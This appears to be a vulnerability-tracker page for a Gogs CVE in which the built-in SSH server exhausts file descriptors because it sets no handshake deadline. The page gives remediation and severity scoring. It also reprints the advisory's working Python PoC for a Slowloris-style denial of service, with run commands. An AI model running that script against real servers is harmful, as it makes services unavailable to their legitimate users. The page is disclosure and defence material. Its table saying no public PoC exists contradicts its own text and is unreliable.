Skip to main content

Gogs EUVDEUVD-2026-39067

| CVE-2026-52814 MEDIUM
Uncontrolled Resource Consumption (CWE-400)
2026-06-23 https://github.com/gogs/gogs GHSA-xp79-5mx3-jx52
5.5
CVSS 4.0 · Vendor: https://github.com/gogs/gogs
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Discover exposed Gogs SSH port
  2. Delivery
    Open hundreds of TCP connections
  3. Exploit
    Withhold SSH-2.0 banner on each
  4. Execution
    Gogs goroutines block in io.ReadFull
  5. Persist
    File descriptor limit exceeded
  6. Impact
    Legitimate SSH connections refused

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource consumption limits
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires two specific conditions: (1) Gogs must be configured with START_SSH_SERVER = true and a reachable SSH_LISTEN_PORT in app.ini - this is a non-default configuration; Gogs installations that rely on system OpenSSH for SSH access are NOT affected. (2) The attacker must be able to open a sufficient number of concurrent TCP connections to the Gogs SSH port to exceed the server process's file descriptor limit (typically 1,024 on default Linux configurations, so ~1,500 connections suffice). Network-level controls that cap concurrent connections per source IP limit but do not eliminate risk. No authentication is required at any stage; exploitation is fully pre-authentication with zero bytes of data transmitted.

Impact

Real-world risk is moderate-to-high for deployments that expose the built-in SSH server. The attack is asymmetric - an attacker exerts zero bandwidth to permanently block all legitimate SSH operations - and requires no credentials, no prior authentication, and no protocol knowledge beyond opening TCP connections. The PoC script is trivially simple (23 lines of Python) and is publicly disclosed in the advisory itself. No CVSS score or EPSS value was provided by NVD at time of analysis, so numeric scoring is assessed independently below. The attack surface is partially constrained by the requirement that Gogs must be configured with START_SSH_SERVER = true (non-default; most Gogs deployments proxy SSH through the system OpenSSH daemon rather than the built-in server). Deployments sitting behind connection-limiting firewalls or using cloud load-balancer connection throttling will be substantially harder to exhaust. No active exploitation confirmed via CISA KEV; however, the low technical barrier and available PoC elevate urgency for affected installations.

Exploit ScenarioDerived

An attacker discovers a Gogs instance with the built-in SSH server enabled on port 2222 (or any configured SSH port). Using the published Python PoC (slowloris-ssh.py), the attacker opens 1,500 TCP connections, each of which Gogs accepts and hands to a goroutine; the attacker sends no data on any socket, leaving Gogs blocked in io.ReadFull across 1,500 goroutines. Within seconds the server's file descriptor table is exhausted, causing accept4: too many open files errors; all legitimate developer pushes, pulls, and clones via SSH fail, and internal log rotation begins producing cascading I/O errors that further destabilize the Gogs process.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 23, 2026

File descriptor exhaustion in the Gogs built-in Go SSH server allows unauthenticated remote attackers to render the SSH service completely unavailable. By opening a large number of TCP connections to the SSH port and withholding the SSH-2.0 protocol banner, an attacker forces Gogs to spawn unbounded goroutines that block indefinitely in golang.org/x/crypto/ssh.NewServerConn, consuming one file descriptor per connection. Once the OS ulimit -n ceiling is breached, the server can accept no new connections and the entire Gogs process begins failing with cascading I/O errors. No public exploitation (KEV) confirmed, but a fully functional Python PoC is publicly disclosed alongside the advisory and the fix is available in v0.14.3.

RemediationAI

Upgrade to Gogs v0.14.3, which introduces a 15-second handshake deadline via conn.SetDeadline(time.Now().Add(15 * time.Second)) before calling NewServerConn, and clears the deadline with conn.SetDeadline(time.Time{}) after a successful handshake (PR #8335: https://github.com/gogs/gogs/pull/8335; commit 7da9cda314054501e1a7938a9c4d7896f331b884). The GHSA advisory is at https://github.com/gogs/gogs/security/advisories/GHSA-xp79-5mx3-jx52. If immediate upgrade is not possible, consider disabling the built-in SSH server (START_SSH_SERVER = false) and using system OpenSSH with Gogs' SSH key passthrough instead - this eliminates the vulnerable code path entirely with no loss of Git SSH functionality. Alternatively, enforce connection rate-limiting and maximum concurrent connection caps at the firewall or load balancer level targeting the configured SSH port (default 2222); note this is a mitigation, not a fix, and sophisticated attackers can still exhaust FDs with slow connection rates. Raising the OS file descriptor limit (ulimit -n) delays but does not prevent exhaustion.

Affected VersionsENISA

gogs < 0.14.3

Affected Packages

go gogs.io/gogs fix: 0.14.3
euvd gogs fix: 0.14.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gogs (pkg:go/gogs.io/gogs, CPE affected) includes an optional built-in SSH server written in Go, enabled via START_SSH_SERVER = true in app.ini. The server's listen function in internal/ssh/ssh.go calls listener.Accept() in a loop and dispatches each inbound TCP connection to a goroutine that immediately calls golang.org/x/crypto/ssh.NewServerConn. The golang.org/x/crypto/ssh package is intentionally transport-agnostic and documents that callers must set I/O deadlines on the underlying net.Conn before initiating the handshake. Gogs never calls conn.SetDeadline(), so NewServerConn internally blocks in io.ReadFull inside readVersion(), waiting for the client-side SSH-2.0-... version string indefinitely. This is a textbook CWE-400 (Uncontrolled Resource Consumption) failure: each stalled connection consumes one kernel file descriptor and approximately 10 KB of memory (goroutine stack plus connection structs), and no mechanism bounds how many such connections can accumulate.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/gogs/gogs) PRIMARY 5.5 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
vuln.today AI 7.5 HIGH

Network attack, no credentials or user interaction required; sole impact is high availability loss via FD exhaustion; no confidentiality or integrity impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE MEDIUM

Primary rating from Vendor (https://github.com/gogs/gogs).

CVSS VectorVendor: https://github.com/gogs/gogs

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jun 24, 2026 - 21:22 NVD
5.5 (MEDIUM)

DescriptionCVE.org

The Gogs built-in Go SSH server is vulnerable to an unauthenticated, asymmetric Denial of Service (DoS) attack. The application accepts inbound TCP connections and passes them to golang.org/x/crypto/ssh.NewServerConn inside a new goroutine without enforcing any read/write deadlines on the underlying net.Conn.

An unauthenticated attacker can open multiple TCP connections to the SSH port and simply withhold the SSH protocol banner. This forces the server to spawn an unbounded number of goroutines that block indefinitely waiting for socket I/O. This leads to complete File Descriptor (FD) exhaustion, preventing legitimate users from accessing the Git SSH service, and ultimately destabilizing the entire Gogs process (e.g., causing internal log rotation failures).

Vulnerability Details

In internal/ssh/ssh.go, the listen function contains an accept loop that spawns a goroutine for every incoming connection:

go
for {
    conn, err := listener.Accept()
    // ...
    go func() {
        // VULNERABILITY: No conn.SetDeadline() is called here
        sConn, chans, reqs, err := ssh.NewServerConn(conn, config)
        // ...
    }()
}

The golang.org/x/crypto/ssh package is transport-agnostic and explicitly relies on the caller to manage connection timeouts before initiating the cryptographic handshake. Because Gogs never calls conn.SetDeadline(), the call to NewServerConn eventually reaches io.ReadFull (inside readVersion()) and blocks forever on the kernel TCP socket waiting for the client to send the SSH-2.0-... banner.

Each stuck connection consumes a file descriptor and ~10KB of memory (Goroutine stack + connection structs). An attacker holding thousands of these connections open with zero bandwidth (no data sent) will quickly exhaust the OS ulimit -n limits (accept4: too many open files), completely neutralizing the service.

Steps to Reproduce

1. Environment Setup: Ensure Gogs is configured to use the built-in Go SSH server in app.ini:

ini
[server]
START_SSH_SERVER = true
SSH_PORT = 2222
SSH_LISTEN_PORT = 2222

2. The Exploit (PoC): Save the following Python script as slowloris-ssh.py. This script connects to the SSH port and intentionally stalls the handshake.

python
#!/usr/bin/env python3
import socket, sys, time

target_host = sys.argv[1]
target_port = int(sys.argv[2])
n = int(sys.argv[3])

sockets = []
print(f"[*] Starting SSH Slowloris on {target_host}:{target_port}...")

for i in range(n):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((target_host, target_port))
# VULNERABILITY EXPLOIT: Do NOT send the "SSH-2.0-..." banner.
        sockets.append(s)
        if i % 100 == 0:
            print(f"[+] {i} stuck connections established")
    except Exception as e:
        print(f"[-] Stopped at {i} connections. Reason: {e}")
        break

print(f"[+] Holding {len(sockets)} connections to starve the server...")
while True:
    time.sleep(60)

3. Execution: Run the script against the target, ensuring the number of connections (n) exceeds the server's configured file descriptor limit (e.g., 1500 for default 1024 ulimit environments): python3 slowloris-ssh.py <target-ip> 2222 1500

4. Observe the Impact:

  • Attempt to connect legitimately: nc -v <target-ip> 2222. The connection will hang or be refused immediately.
  • Inspect the Gogs server logs/console. You will observe catastrophic I/O failures such as:

[clog] [file]: rename rotated file ...: no such file or directory accept4: too many open files

Impact

  • Denial of Service: Legitimate developers cannot push, pull, or clone repositories via SSH.

POC:-

watch the following video for poc

Threat Intelligence Overview

EPSS Score
0.5%
Top 58% exploitable
Prevalence
Medium
self-hosted Git platform, moderately deployed but not ubiquitous
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact· derived
Medium

Priority Score

29
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +28
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy